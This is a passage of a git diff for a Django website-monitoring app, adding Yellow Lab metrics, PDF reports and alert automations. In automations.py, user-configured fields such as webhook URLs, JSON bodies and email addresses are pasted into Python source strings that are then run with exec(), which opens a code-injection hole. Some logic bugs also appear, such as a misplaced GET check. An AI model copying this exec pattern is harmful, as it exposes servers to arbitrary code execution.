python3 -m pip install --no-deps sewar==0.4.4 +# installing sewar +RUN python3 -m pip install --no-deps sewar==0.4.4 -# install requirements +# installing requirements COPY ./requirements.txt /requirements.txt RUN python3 -m pip install -r /requirements.txt RUN apk del .tmp-build-deps -RUN apk --no-cache add curl - +# setting working dir RUN mkdir /app COPY ./app /app WORKDIR /app -# # chown all the files to the app user -# RUN chown -R app:app /app - -# # change to the app user -# USER app \ No newline at end of file +# setting ownership +RUN chown -R app:app /app +RUN chown -R app:app /usr/bin/chromium-browser \ No newline at end of file diff --git a/app/api/admin.py b/app/api/admin.py index 4d664019..76f4df26 100644 --- a/app/api/admin.py +++ b/app/api/admin.py @@ -1,8 +1,6 @@ from django.contrib import admin -from .models import ( - Site, Test, Scan, Account, - Card, Log, Schedule, Automation -) +from .models import * + @admin.register(Site) class SiteAdmin(admin.ModelAdmin): @@ -29,6 +27,10 @@ class CardAdmin(admin.ModelAdmin): list_display = ('__str__', 'brand', 'last_four') search_fields = ('last_four',) +@admin.register(Report) +class ReportAdmin(admin.ModelAdmin): + list_display = ('__str__', 'time_created', 'user') + @admin.register(Log) class LogAdmin(admin.ModelAdmin): list_display = ('__str__', 'time_created', 'status', 'user') diff --git a/app/api/models.py b/app/api/models.py index 77d5285e..6ecd1262 100644 --- a/app/api/models.py +++ b/app/api/models.py @@ -11,33 +11,47 @@ def get_info_default(): info_default = { 'latest_scan': { - 'id': '', - 'time_created': '', + 'id': None, + 'time_created': None, }, 'latest_test': { - 'id': '', - 'time_created': '', - 'score': '' + 'id': None, + 'time_created': None, + 'score': None }, 'lighthouse': { - 'average': '', - 'seo': '', - 'performance': '', - 'accessibility': '', - 'best_practices': '', + 'average': None, + 'seo': None, + 'performance': None, + 'accessibility': None, + 'best_practices': None, + }, + 'yellowlab': { + 'globalScore': None, + 'pageWeight': None, + 'requests': None, + 'domComplexity': None, + 'javascriptComplexity': None, + 'badJavascript': None, + 'jQuery': None, + 'cssComplexity': None, + 'badCSS': None, + 'fonts': None, + 'serverConfig': None, }, 'status': { - 'ping': '', - 'health': '', + 'ping': None, + 'health': None, 'badge': 'neutral', + 'score': None, }, } return info_default -def get_scores_delta_default(): - scores_delta_default = { +def get_lh_delta_default(): + lh_delta_default = { "scores": { "seo_delta": None, "performance_delta": None, @@ -47,7 +61,27 @@ def get_scores_delta_default(): "current_average": None, }, } - return scores_delta_default + return lh_delta_default + + + +def get_yl_delta_default(): + yl_delta_default = { + "scores": { + "globalScore_delta": None, + "pageWeight_delta": None, + "requests_delta": None, + "domComplexity_delta": None, + "javascriptComplexity_delta": None, + "badJavascript_delta": None, + "jQuery_delta": None, + "cssComplexity_delta": None, + "badCSS_delta": None, + "fonts_delta": None, + "serverConfig_delta": None, + }, + } + return yl_delta_default @@ -71,6 +105,38 @@ def get_lh_default(): +def get_yl_default(): + yl_default = { + "scores": { + "globalScore": None, + "pageWeight": None, + "requests": None, + "domComplexity": None, + "javascriptComplexity": None, + "badJavascript": None, + "jQuery": None, + "cssComplexity": None, + "badCSS": None, + "fonts": None, + "serverConfig": None, + }, + "audits": { + "pageWeight": [], + "requests": [], + "domComplexity": [], + "javascriptComplexity": [], + "badJavascript": [], + "jQuery": [], + "cssComplexity": [], + "badCSS": [], + "fonts": [], + "serverConfig": [], + }, + } + return yl_default + + + def get_expressions_default(): expressions_default = { 'list': [ @@ -85,6 +151,7 @@ def get_expressions_default(): return expressions_default + def get_actions_default(): actions_default = { 'list': [ @@ -101,6 +168,7 @@ def get_actions_default(): return actions_default + def get_slack_default(): slack_default = { "slack_name": None, @@ -137,6 +205,7 @@ class Scan(models.Model): logs = models.JSONField(serialize=True, null=True, blank=True) images = models.JSONField(serialize=True, null=True, blank=True) lighthouse = models.JSONField(serialize=True, null=True, blank=True, default=get_lh_default) + yellowlab = models.JSONField(serialize=True, null=True, blank=True, default=get_yl_default) configs = models.JSONField(serialize=True, null=True, blank=True) def __str__(self): @@ -155,7 +224,8 @@ class Test(models.Model): score = models.FloatField(serialize=True, null=True, blank=True) html_delta = models.JSONField(serialize=True, null=True, blank=True) logs_delta = models.JSONField(serialize=True, null=True, blank=True) - lighthouse_delta = models.JSONField(serialize=True, null=True, blank=True, default=get_scores_delta_default) + lighthouse_delta = models.JSONField(serialize=True, null=True, blank=True, default=get_lh_delta_default) + yellowlab_delta = models.JSONField(serialize=True, null=True, blank=True, default=get_yl_delta_default) images_delta = models.JSONField(serialize=True, null=True, blank=True) def __str__(self): @@ -233,6 +303,22 @@ class Automation(models.Model): def __str__(self): return f'{self.name}' + + + + + +class Report(models.Model): + id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) + site = models.ForeignKey(Site, on_delete=models.CASCADE, null=True, blank=True, serialize=True) + user = models.ForeignKey(User, on_delete=models.CASCADE, null=True, blank=True, serialize=True) + time_created = models.DateTimeField(default=timezone.now, serialize=True) + path = models.CharField(max_length=1000, serialize=True, null=True, blank=True) + type = models.JSONField(serialize=True, null=True, blank=True) # array of [lighthouse, yellowlab, crux] + info = models.JSONField(serialize=True, null=True, blank=True) + + def __str__(self): + return f'{self.site.site_url}__report' diff --git a/app/api/tasks.py b/app/api/tasks.py index d41b0258..b20586c3 100644 --- a/app/api/tasks.py +++ b/app/api/tasks.py @@ -2,7 +2,8 @@ from celery.utils.log import get_task_logger from celery import shared_task from .v1.ops.tasks import (create_site_task, - create_scan_task, create_test_task, delete_site_s3 + create_scan_task, create_test_task, delete_site_s3, + create_report_task, delete_report_s3, ) from .models import Log from django.contrib.auth.models import User @@ -19,14 +20,18 @@ def create_site_bg(site_id): @shared_task def create_scan_bg( - site_id, + scan_id=None, + site_id=None, automation_id=None, configs=None, + type=None, ): create_scan_task( - site_id, + scan_id, + site_id, automation_id, configs, + type, ) logger.info('Created new scan of site') @@ -34,7 +39,8 @@ def create_scan_bg( @shared_task def create_test_bg( - site_id, + test_id=None, + site_id=None, automation_id=None, configs=None, type=['full'], @@ -43,6 +49,7 @@ def create_test_bg( post_scan=None, ): create_test_task( + test_id, site_id, automation_id, configs, @@ -53,7 +60,10 @@ def create_test_bg( ) logger.info('Created new test of site') - +@shared_task +def create_report_bg(site_id=None, automation_id=None): + create_report_task(site_id, automation_id) + logger.info('Created new report of site') @shared_task @@ -62,6 +72,12 @@ def delete_site_s3_bg(site_id): logger.info('Deleted site s3 objects') +@shared_task +def delete_report_s3_bg(report_id): + delete_report_s3(report_id) + logger.info('Deleted Report pdf in s3') + + @shared_task def purge_logs(username=None): if username: diff --git a/app/api/utils/alerts.py b/app/api/utils/alerts.py index 6a789b42..1f2d7410 100644 --- a/app/api/utils/alerts.py +++ b/app/api/utils/alerts.py @@ -15,28 +15,101 @@ -def create_exp_str(item, automation): +def create_exp_str(item, automation, is_email=False): exp_list = [] + for e in automation.expressions: if 'test_score' in e['data_type']: data_type = 'Test Score:\t'+str(round(item.score, 2))+'\n\t' - elif 'current_average' in e['data_type']: - data_type = 'Health:\t'+str(item.lighthouse_delta["scores"]["current_average"])+'\n\t' + elif 'current_health' in e['data_type']: + data_type = 'Health:\t'+str((float(item.lighthouse_delta["scores"]["current_average"]) + float(item.yellowlab_delta["scores"]["current_average"])/2))+'\n\t' + elif 'health' in e['data_type']: + data_type = 'Health:\t'+str((float(item.lighthouse["scores"]["average"]) + float(item.yellowlab["scores"]["globalScore"])/2))+'\n\t' + + elif 'current_lighthouse_average' in e['data_type']: + data_type = 'Lighthouse Average:\t'+str(item.lighthouse_delta["scores"]["current_average"])+'\n\t' elif 'seo_delta' in e['data_type']: data_type = 'SEO Delta:\t'+str(item.lighthouse_delta["scores"]["seo_delta"])+'\n\t' elif 'best_practices_delta' in e['data_type']: data_type = 'Best Practicies Delta:\t'+str(item.lighthouse_delta["scores"]["best_practices_delta"])+'\n\t' elif 'performance_delta' in e['data_type']: data_type = 'Performance Delta:\t'+str(item.lighthouse_delta["scores"]["performance_delta"])+'\n\t' + elif 'accessibility_delta' in e['data_type']: + data_type = 'Accessibility Delta:\t'+str(item.lighthouse_delta["scores"]["accessibility_delta"])+'\n\t' + # LH scan data + elif 'lighthouse_average' in e['data_type']: + data_type = 'Lighthouse Average:\t'+str(item.lighthouse["scores"]["average"])+'\n\t' + elif 'seo' in e['data_type']: + data_type = 'SEO:\t'+str(item.lighthouse["scores"]["seo"])+'\n\t' + elif 'best_practices' in e['data_type']: + data_type = 'Best Practicies:\t'+str(item.lighthouse["scores"]["best_practices"])+'\n\t' + elif 'performance' in e['data_type']: + data_type = 'Performance:\t'+str(item.lighthouse["scores"]["performance"])+'\n\t' + elif 'accessibility' in e['data_type']: + data_type = 'Accessibility:\t'+str(item.lighthouse["scores"]["accessibility"])+'\n\t' + + + + # yellowlab test data + elif 'current_yellowlab_average' in e['data_type']: + data_type = 'Yellow Lab Avg:\t'+str(item.yellowlab_delta["scores"]["current_average"])+'\n\t' + elif 'pageWeight_delta' in e['data_type']: + data_type = 'Page Weight Delta:\t'+str(item.yellowlab_delta["scores"]["pageWeight_delta"])+'\n\t' + elif 'requests_delta' in e['data_type']: + data_type = 'Requests Delta:\t'+str(item.yellowlab_delta["scores"]["requests_delta"])+'\n\t' + elif 'domComplexity_delta' in e['data_type']: + data_type = 'DOM Complex. Delta:\t'+str(item.yellowlab_delta["scores"]["domComplexity_delta"])+'\n\t' + elif 'javascriptComplexity_delta' in e['data_type']: + data_type = 'JS Complex. Delta:\t'+str(item.yellowlab_delta["scores"]["javascriptComplexity_delta"])+'\n\t' + elif 'badJavascript_delta' in e['data_type']: + data_type = 'Bad JS Delta:\t'+str(item.yellowlab_delta["scores"]["badJavascript_delta"])+'\n\t' + elif 'jQuery_delta' in e['data_type']: + data_type = 'jQuery Delta:\t'+str(item.yellowlab_delta["scores"]["jQuery_delta"])+'\n\t' + elif 'cssComplexity_delta' in e['data_type']: + data_type = 'CSS Complex. Delta:\t'+str(item.yellowlab_delta["scores"]["cssComplexity_delta"])+'\n\t' + elif 'badCSS_delta' in e['data_type']: + data_type = 'Bad CSS Delta:\t'+str(item.yellowlab_delta["scores"]["badCSS_delta"])+'\n\t' + elif 'fonts_delta' in e['data_type']: + data_type = 'Fonts Delta:\t'+str(item.yellowlab_delta["scores"]["fonts_delta"])+'\n\t' + elif 'serverConfig_delta' in e['data_type']: + data_type = 'Server Config Delta:\t'+str(item.yellowlab_delta["scores"]["serverConfig_delta"])+'\n\t' + + # yellowlab scan data + elif 'yellowlab_average' in e['data_type']: + data_type = 'Yellow Lab Avg:\t'+str(item.yellowlab["scores"]["globalScore"])+'\n\t' + elif 'pageWeight' in e['data_type']: + data_type = 'Page Weight:\t'+str(item.yellowlab["scores"]["pageWeight"])+'\n\t' + elif 'requests' in e['data_type']: + data_type = 'Requests:\t'+str(item.yellowlab["scores"]["requests"])+'\n\t' + elif 'domComplexity' in e['data_type']: + data_type = 'DOM Complex.:\t'+str(item.yellowlab["scores"]["domComplexity"])+'\n\t' + elif 'javascriptComplexity' in e['data_type']: + data_type = 'JS Complex.:\t'+str(item.yellowlab["scores"]["javascriptComplexity"])+'\n\t' + elif 'badJavascript' in e['data_type']: + data_type = 'Bad JS:\t'+str(item.yellowlab["scores"]["badJavascript"])+'\n\t' + elif 'jQuery' in e['data_type']: + data_type = 'jQuery:\t'+str(item.yellowlab["scores"]["jQuery"])+'\n\t' + elif 'cssComplexity' in e['data_type']: + data_type = 'CSS Complex.:\t'+str(item.yellowlab["scores"]["cssComplexity"])+'\n\t' + elif 'badCSS' in e['data_type']: + data_type = 'Bad CSS:\t'+str(item.yellowlab["scores"]["badCSS"])+'\n\t' + elif 'fonts' in e['data_type']: + data_type = 'Fonts:\t'+str(item.yellowlab["scores"]["fonts"])+'\n\t' + elif 'serverConfig' in e['data_type']: + data_type = 'Server Config:\t'+str(item.yellowlab["scores"]["serverConfig"])+'\n\t' + elif 'images_score' in e['data_type']: data_type = ' Avg Image Score:\t'+str(item.images_delta["average_score"])+'\n\t' elif 'logs' in e['data_type']: data_type = 'Error Logs:\t'+str(len(item.logs))+'\n\t' - elif 'health' in e['data_type']: - data_type = 'Health:\t'+str(item.lighthouse["scores"]["average"])+'\n\t' + + exp_list.append(data_type) + if is_email: + return exp_list + exp_str = ('\t'+''.join(exp_list)) return exp_str @@ -45,23 +118,122 @@ def create_exp_str(item, automation): -def automation_email(email=None, automation_id=None, scan_or_test_id=None): + + + + + +def create_json_data(data, obj): + json_data = data + item = obj + + for key in json_data: + if 'test_score' == json_data[key]: + json_data[key] = item.score + elif 'seo_delta' == json_data[key]: + json_data[key] = item.lighthouse_delta["scores"]["seo_delta"] + elif 'best_practices_delta' == json_data[key]: + json_data[key] = item.lighthouse_delta["scores"]["best_practices_delta"] + elif 'performance_delta' == json_data[key]: + json_data[key] = item.lighthouse_delta["scores"]["performance_delta"] + elif 'accessibility_delta' == json_data[key]: + json_data[key] = item.lighthouse_delta["scores"]["accessibility_delta"] + elif 'current_health' == json_data[key]: + json_data[key] = (float(item.lighthouse_delta["scores"]["average"]) + float(item.yellowlab_delta["scores"]["globalScore"])/2) + elif 'health' == json_data[key]: + json_data[key] = (float(item.lighthouse["scores"]["average"]) + float(item.yellowlab["scores"]["globalScore"])/2) + elif 'logs' == json_data[key]: + json_data[key] = len(item.logs) + elif 'current_lighthouse_average' == json_data[key]: + json_data[key] = item.lighthouse_delta["scores"]["current_average"] + elif 'current_average' == json_data[key]: + json_data[key] = item.lighthouse["scores"]["current_average"] + elif 'seo' == json_data[key]: + json_data[key] = item.lighthouse["scores"]["seo"] + elif 'best_practice' == json_data[key]: + json_data[key] = item.lighthouse["scores"]["best_practices"] + elif 'performance' == json_data[key]: + json_data[key] = item.lighthouse["scores"]["performance"] + elif 'accessibility' == json_data[key]: + json_data[key] = item.lighthouse["scores"]["accessibility"] + + elif 'current_yellowlab_average' == json_data[key]: + json_data[key] = item.yellowlab_delta["scores"]["current_average"] + elif 'pageWeight_delta' == json_data[key]: + json_data[key] = item.yellowlab_delta["scores"]["pageWeight_delta"] + elif 'requests_delta' == json_data[key]: + json_data[key] = item.yellowlab_delta["scores"]["requests_delta"] + elif 'domComplexity_delta' == json_data[key]: + json_data[key] = item.yellowlab_delta["scores"]["domComplexity_delta"] + elif 'javascriptComplexity_delta' == json_data[key]: + json_data[key] = item.yellowlab_delta["scores"]["javascriptComplexity_delta"] + elif 'badJavascript_delta' == json_data[key]: + json_data[key] = item.yellowlab_delta["scores"]["badJavascript_delta"] + elif 'jQuery_delta' == json_data[key]: + json_data[key] = item.yellowlab_delta["scores"]["jQuery_delta"] + elif 'cssComplexity_delta' == json_data[key]: + json_data[key] = item.yellowlab_delta["scores"]["cssComplexity_delta"] + elif 'badCSS_delta' == json_data[key]: + json_data[key] = item.yellowlab_delta["scores"]["badCSS_delta"] + elif 'fonts_delta' == json_data[key]: + json_data[key] = item.yellowlab_delta["scores"]["fonts_delta"] + elif 'serverConfig_delta' == json_data[key]: + json_data[key] = item.yellowlab_delta["scores"]["serverConfig_delta"] + + elif 'yellowlab_average' == json_data[key]: + json_data[key] = item.yellowlab["scores"]["globalScore"] + elif 'pageWeight' == json_data[key]: + json_data[key] = item.yellowlab["scores"]["pageWeight"] + elif 'requests' == json_data[key]: + json_data[key] = item.yellowlab["scores"]["requests"] + elif 'domComplexity' == json_data[key]: + json_data[key] = item.yellowlab["scores"]["domComplexity"] + elif 'javascriptComplexity' == json_data[key]: + json_data[key] = item.yellowlab["scores"]["javascriptComplexity"] + elif 'badJavascript' == json_data[key]: + json_data[key] = item.yellowlab["scores"]["badJavascript"] + elif 'jQuery' == json_data[key]: + json_data[key] = item.yellowlab["scores"]["jQuery"] + elif 'cssComplexity' == json_data[key]: + json_data[key] = item.yellowlab["scores"]["cssComplexity"] + elif 'badCSS' == json_data[key]: + json_data[key] = item.yellowlab["scores"]["badCSS"] + elif 'fonts' == json_data[key]: + json_data[key] = item.yellowlab["scores"]["fonts"] + elif 'serverConfig' == json_data[key]: + json_data[key] = item.yellowlab["scores"]["serverConfig"] + + + return json_data + + + + + + + + + + + + +def automation_email(email=None, automation_id=None, object_id=None): if email and automation_id: automation = Automation.objects.get(id=automation_id) schedule = automation.schedule site = schedule.site try: - item = Test.objects.get(id=uuid.UUID(scan_or_test_id)) + item = Test.objects.get(id=uuid.UUID(object_id)) item_type = 'Test' except: try: - item = Scan.objects.get(id=uuid.UUID(scan_or_test_id)) + item = Scan.objects.get(id=uuid.UUID(object_id)) item_type = 'Scan' except: return {'success': False} - exp_str = create_exp_str(item=item, automation=automation) + exp_list = create_exp_str(item=item, automation=automation, is_email=True) object_url = str(os.environ.get('CLIENT_URL_ROOT') + '/site/'+str(site.id)) subject = f'Alert for {site.site_url}' @@ -114,6 +286,66 @@ def automation_email(email=None, automation_id=None, scan_or_test_id=None): +def automation_report_email(email=None, automation_id=None, object_id=None): + if email and automation_id: + automation = Automation.objects.get(id=automation_id) + schedule = automation.schedule + site = schedule.site + + try: + item = Report.objects.get(id=uuid.UUID(object_id)) + item_type = 'Report' + except: + return {'success': False} + + exp_list = '' + object_url = str(item.path) + subject = f'Report for {site.site_url}' + title = f'Report for {site.site_url}' + pre_header = f'Report for {site.site_url}' + pre_content = ( + f'Scanerr just finished creating a {item_type} for {site.site_url}. ' + f'Please click the link below to access and download the report.\n' + ) + content = ( + f'This message was triggered by an automation created with Scanerr. ' + f'You can change the automation and schedule in your site\'s dashboard. ' + ) + subject = subject + context = { + 'title' : title, + 'pre_header' : pre_header, + 'pre_content' : pre_content, + 'exp_list': exp_list, + 'object_url' : object_url, + 'home_page' : os.environ.get('CLIENT_URL_ROOT'), + 'button_text' : 'View Report', + 'content' : content, + 'signature' : '- Cheers!', + } + + html_message = render_to_string('api/automation_email.html', context) + plain_message = strip_tags(html_message) + send_mail( + from_email = os.getenv('EMAIL_HOST_USER'), + subject = subject, + message = plain_message, + recipient_list = [email], + html_message = html_message, + fail_silently = True, + ) + + data = { + 'success': True + } + + else: + data = { + 'success': False + } + + return data + @@ -122,51 +354,33 @@ def automation_webhook( request_url=None, request_data=None, automation_id=None, - scan_or_test_id=None, + object_id=None, ): - if request_type and automation_id and request_url and request_data and scan_or_test_id: + if request_type and automation_id and request_url and request_data and object_id: automation = Automation.objects.get(id=automation_id) schedule = automation.schedule site = schedule.site try: - item = Test.objects.get(id=uuid.UUID(scan_or_test_id)) + item = Test.objects.get(id=uuid.UUID(object_id)) item_type = 'Test' except: try: - item = Scan.objects.get(id=uuid.UUID(scan_or_test_id)) + item = Scan.objects.get(id=uuid.UUID(object_id)) item_type = 'Scan' except: return {'success': False} - json_data = json.loads(request_data) - get_list = ['?',] - - for key in json_data: - if 'test_score' == json_data[key]: - json_data[key] = item.score - elif 'current_average' == json_data[key]: - json_data[key] = item.lighthouse_delta["scores"]["current_average"] - elif 'seo_delta' == json_data[key]: - json_data[key] = item.lighthouse_delta["scores"]["seo_delta"] - elif 'best_practices_delta' == json_data[key]: - json_data[key] = item.lighthouse_delta["scores"]["best_practices_delta"] - elif 'performance_delta' == json_data[key]: - json_data[key] = item.lighthouse_delta["scores"]["performance_delta"] - elif 'logs' == json_data[key]: - json_data[key] = len(item.logs) - elif 'health' == json_data[key]: - json_data[key] = item.lighthouse["scores"]["average"] - - get_list.append(f'{key}={json_data[key]}&') - - get_params = ''.join(get_list) + pre_json_data = json.loads(request_data) + json_data = create_json_data(data=pre_json_data, obj=item) try: if request_type == 'POST': - request = requests.post(request_url, data=json_data) + response = requests.post(request_url, data=json_data) elif request_data == 'GET': - request = requests.get(request_url, params=json_data) + response = requests.get(request_url, params=json_data) + + print(response.json()) except: data = {'success': False} @@ -186,18 +400,18 @@ def automation_webhook( -def automation_phone(phone_number=None, automation_id=None, scan_or_test_id=None): - if phone_number and automation_id and scan_or_test_id: +def automation_phone(phone_number=None, automation_id=None, object_id=None): + if phone_number and automation_id and object_id: automation = Automation.objects.get(id=automation_id) schedule = automation.schedule site = schedule.site try: - item = Test.objects.get(id=uuid.UUID(scan_or_test_id)) + item = Test.objects.get(id=uuid.UUID(object_id)) item_type = 'Test' except: try: - item = Scan.objects.get(id=uuid.UUID(scan_or_test_id)) + item = Scan.objects.get(id=uuid.UUID(object_id)) item_type = 'Scan' except: return {'success': False} @@ -240,19 +454,19 @@ def automation_phone(phone_number=None, automation_id=None, scan_or_test_id=None -def automation_slack(automation_id=None, scan_or_test_id=None): - if automation_id and scan_or_test_id: +def automation_slack(automation_id=None, object_id=None): + if automation_id and object_id: automation = Automation.objects.get(id=automation_id) account = Account.objects.get(user=automation.user) schedule = automation.schedule site = schedule.site try: - item = Test.objects.get(id=uuid.UUID(scan_or_test_id)) + item = Test.objects.get(id=uuid.UUID(object_id)) item_type = 'Test' except: try: - item = Scan.objects.get(id=uuid.UUID(scan_or_test_id)) + item = Scan.objects.get(id=uuid.UUID(object_id)) item_type = 'Scan' except: return {'success': False} diff --git a/app/api/utils/automations.py b/app/api/utils/automations.py index ab5c39dd..4d93eb96 100644 --- a/app/api/utils/automations.py +++ b/app/api/utils/automations.py @@ -4,56 +4,145 @@ -def automation(automation_id, scan_or_test_id): +def automation(automation_id, object_id): automation = Automation.objects.get(id=automation_id) + schedule = automation.schedule expressions = automation.expressions exp_list = [] actions = automation.actions act_list = [] + scan = None + test = None + report = None + use_exp = True - try: - scan = Scan.objects.get(id=scan_or_test_id) - except: + if schedule.task_type == 'scan': try: - test = Test.objects.get(id=scan_or_test_id) + scan = Scan.objects.get(id=object_id) except: return False + elif schedule.task_type == 'test': + try: + test = Test.objects.get(id=object_id) + except: + return False + + elif schedule.task_type == 'report': + try: + report = Report.objects.get(id=object_id) + use_exp = False + except: + return False + else: + return False + + + + if use_exp: + for expression in expressions: + if '>=' in expression['operator']: + operator = ' >= ' + else: + operator = ' <= ' + + if 'and' in expression['joiner']: + joiner = ' and ' + elif 'or' in expression['joiner']: + joiner = ' or ' + else: + joiner = '' + + if 'test_score' in expression['data_type']: + data_type = 'float(test.score)' + + # lighthouse test data + elif 'current_lighthouse_average' in expression['data_type']: + data_type = 'float(test.lighthouse_delta["scores"]["current_average"])' + elif 'seo_delta' in expression['data_type']: + data_type = 'float(test.lighthouse_delta["scores"]["seo_delta"])' + elif 'best_practices_delta' in expression['data_type']: + data_type = 'float(test.lighthouse_delta["scores"]["best_practices_delta"])' + elif 'performance_delta' in expression['data_type']: + data_type = 'float(test.lighthouse_delta["scores"]["performance_delta"])' + elif 'accessibility_delta' in expression['data_type']: + data_type = 'float(test.lighthouse_delta["scores"]["accessibility_delta"])' + # lighthouse scan data + elif 'lighthouse_average' in expression['data_type']: + data_type = 'float(scan.lighthouse["scores"]["average"])' + elif 'seo' in expression['data_type']: + data_type = 'float(scan.lighthouse["scores"]["seo"])' + elif 'best_practices' in expression['data_type']: + data_type = 'float(scan.lighthouse["scores"]["best_practices"])' + elif 'performance' in expression['data_type']: + data_type = 'float(scan.lighthouse["scores"]["performance"])' + elif 'accessibility' in expression['data_type']: + data_type = 'float(scan.lighthouse["scores"]["accessibility"])' + + # yellowlab test data + elif 'current_yellowlab_average' in expression['data_type']: + data_type = 'float(test.yellowlab_delta["scores"]["current_average"])' + elif 'pageWeight_delta' in expression['data_type']: + data_type = 'float(test.yellowlab_delta["scores"]["pageWeight_delta"])' + elif 'requests_delta' in expression['data_type']: + data_type = 'float(test.yellowlab_delta["scores"]["requests_delta"])' + elif 'domComplexity_delta' in expression['data_type']: + data_type = 'float(test.yellowlab_delta["scores"]["domComplexity_delta"])' + elif 'javascriptComplexity_delta' in expression['data_type']: + data_type = 'float(test.yellowlab_delta["scores"]["javascriptComplexity_delta"])' + elif 'badJavascript_delta' in expression['data_type']: + data_type = 'float(test.yellowlab_delta["scores"]["badJavascript_delta"])' + elif 'jQuery_delta' in expression['data_type']: + data_type = 'float(test.yellowlab_delta["scores"]["jQuery_delta"])' + elif 'cssComplexity_delta' in expression['data_type']: + data_type = 'float(test.yellowlab_delta["scores"]["cssComplexity_delta"])' + elif 'badCSS_delta' in expression['data_type']: + data_type = 'float(test.yellowlab_delta["scores"]["badCSS_delta"])' + elif 'fonts_delta' in expression['data_type']: + data_type = 'float(test.yellowlab_delta["scores"]["fonts_delta"])' + elif 'serverConfig_delta' in expression['data_type']: + data_type = 'float(test.yellowlab_delta["scores"]["serverConfig_delta"])' + # yellowlab scan data + elif 'yellowlab_average' in expression['data_type']: + data_type = 'float(scan.yellowlab["scores"]["globalScore"])' + elif 'pageWeight' in expression['data_type']: + data_type = 'float(scan.yellowlab["scores"]["pageWeight"])' + elif 'requests' in expression['data_type']: + data_type = 'float(scan.yellowlab["scores"]["requests"])' + elif 'domComplexity' in expression['data_type']: + data_type = 'float(scan.yellowlab["scores"]["domComplexity"])' + elif 'javascriptComplexity' in expression['data_type']: + data_type = 'float(scan.yellowlab["scores"]["javascriptComplexity"])' + elif 'badJavascript' in expression['data_type']: + data_type = 'float(scan.yellowlab["scores"]["badJavascript"])' + elif 'jQuery' in expression['data_type']: + data_type = 'float(scan.yellowlab["scores"]["jQuery"])' + elif 'cssComplexity' in expression['data_type']: + data_type = 'float(scan.yellowlab["scores"]["cssComplexity"])' + elif 'badCSS' in expression['data_type']: + data_type = 'float(scan.yellowlab["scores"]["badCSS"])' + elif 'fonts' in expression['data_type']: + data_type = 'float(scan.yellowlab["scores"]["fonts"])' + elif 'serverConfig' in expression['data_type']: + data_type = 'float(scan.yellowlab["scores"]["serverConfig"])' + + + elif 'logs' in expression['data_type']: + data_type = 'len(scan.logs)' + + elif 'current_health' in expression['data_type']: + data_type = '((float(test.lighthouse_delta["scores"]["current_average"]) + float(test.yellowlab_delta["scores"]["current_average"]))/2)' + + elif 'health' in expression['data_type']: + data_type = '((float(scan.lighthouse["scores"]["average"]) + float(scan.yellowlab["scores"]["globalScore"]))/2)' + + elif 'images_score' in expression['data_type']: + data_type = 'float(test.images_delta["average_score"])' + + value = str(float(re.search(r'\d+', str(expression['value'])).group())) + exp = f'{joiner}{data_type}{operator}{value}' + exp_list.append(exp) - for expression in expressions: - if '>=' in expression['operator']: - operator = ' >= ' - else: - operator = ' <= ' - - if 'and' in expression['joiner']: - joiner = ' and ' - elif 'or' in expression['joiner']: - joiner = ' or ' - else: - joiner = '' - - if 'test_score' in expression['data_type']: - data_type = 'float(test.score)' - elif 'current_average' in expression['data_type']: - data_type = 'float(test.lighthouse_delta["current_average"])' - elif 'seo_delta' in expression['data_type']: - data_type = 'float(test.lighthouse_delta["seo_delta"])' - elif 'best_practices_delta' in expression['data_type']: - data_type = 'float(test.lighthouse_delta["best_practices_delta"])' - elif 'performance_delta' in expression['data_type']: - data_type = 'float(test.lighthouse_delta["performance_delta"])' - elif 'images_score' in expression['data_type']: - data_type = 'float(test.images_delta["average_score"])' - elif 'logs' in expression['data_type']: - data_type = 'len(scan.logs)' - elif 'health' in expression['data_type']: - data_type = 'float(scan.lighthouse["scores"]["average"])' - - - value = str(float(re.search(r'\d+', str(expression['value'])).group())) - exp = f'{joiner}{data_type}{operator}{value}' - exp_list.append(exp) for action in actions: @@ -61,26 +150,32 @@ def automation(automation_id, scan_or_test_id): if 'slack' in action['action_type']: action_type = f"\n print('sending slack alert')\ \n automation_slack(automation_id='{str(automation.id)}', \ - scan_or_test_id='{str(scan_or_test_id)}')" + object_id='{str(object_id)}')" if 'webhook' in action['action_type']: action_type = f"\n print('sending webhook alert')\ \n automation_webhook(request_type='{action['request']}', \ request_url='{action['url']}', request_data='{action['json']}', \ automation_id='{str(automation.id)}', \ - scan_or_test_id='{str(scan_or_test_id)}')" + object_id='{str(object_id)}')" if 'email' in action['action_type']: action_type = f"\n print('sending email alert')\ \n automation_email(email='{action['email']}',\ automation_id='{str(automation.id)}', \ - scan_or_test_id='{str(scan_or_test_id)}')" + object_id='{str(object_id)}')" + + if report: + action_type = f"\n print('sending report email')\ + \n automation_report_email(email='{action['email']}',\ + automation_id='{str(automation.id)}', \ + object_id='{str(object_id)}')" if 'phone' in action['action_type']: action_type = f"\n print('sending phone alert')\ \n automation_phone(phone_number='{action['phone']}', \ automation_id='{str(automation.id)}', \ - scan_or_test_id='{str(scan_or_test_id)}')" + object_id='{str(object_id)}')" act = f'{action_type}' act_list.append(act) @@ -89,7 +184,11 @@ def automation(automation_id, scan_or_test_id): exp_string = ' '.join(exp_list) act_string = ''.join(act_list) + if not use_exp: + exp_string = '1 == 1' + automation_logic = f'if {exp_string}:{act_string}' + print(automation_logic) exec(automation_logic) return True diff --git a/app/api/utils/driver.py b/app/api/utils/driver.py index 563d2cb7..3886db01 100644 --- a/app/api/utils/driver.py +++ b/app/api/utils/driver.py @@ -5,7 +5,12 @@ -def driver_init(window_size='1920,1080'): +def driver_init( + window_size='1920,1080', + script_timeout=30, + load_timeout=30, + wait_time=15, + ): prefs = { 'download.prompt_for_download': False, @@ -31,9 +36,9 @@ def driver_init(window_size='1920,1080'): caps['goog:loggingPrefs'] = {'performance': 'ALL'} driver = webdriver.Chrome(executable_path=chrome_path, options=options, desired_capabilities=caps) - driver.set_page_load_timeout(60) - driver.set_script_timeout(60) - driver.implicitly_wait(60) + driver.set_page_load_timeout(load_timeout) + driver.set_script_timeout(script_timeout) + driver.implicitly_wait(wait_time) return driver diff --git a/app/api/utils/image.py b/app/api/utils/image.py index 0397eb59..11c89636 100644 --- a/app/api/utils/image.py +++ b/app/api/utils/image.py @@ -226,7 +226,7 @@ def test(self, test, index=None): - def screenshot(self, site, configs=None, driver=None,): + def screenshot(self, site=None, url=None, configs=None, driver=None,): """ Grabs single screenshot of the website and uploads it to s3. @@ -249,14 +249,21 @@ def screenshot(self, site, configs=None, driver=None,): } # initialize driver if not passed as param - driver_present = True if not driver: - driver = driver_init(configs['interval']) - driver_present = False + driver = driver_init(window_size=configs['window_size']) + # get or create site data + if site 